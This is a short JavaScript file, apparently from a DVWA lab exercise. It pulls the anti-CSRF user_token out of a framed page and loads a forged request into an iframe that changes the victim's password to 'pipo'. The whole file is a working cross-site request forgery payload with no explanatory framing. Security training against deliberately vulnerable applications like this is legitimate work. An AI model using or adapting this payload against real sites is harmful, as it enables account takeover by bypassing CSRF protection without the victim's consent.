getToken.js

function getToken() {
    var token='&user_token=' 
      + document
        .getElementById("get_token")
        .contentDocument
        .getElementsByName("user_token")[0]
        .value;
    var link = "http://dv.wa/"
      + "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
      + token;
    alert(link);
    document.getElementById("play_CSRF").src=link;
}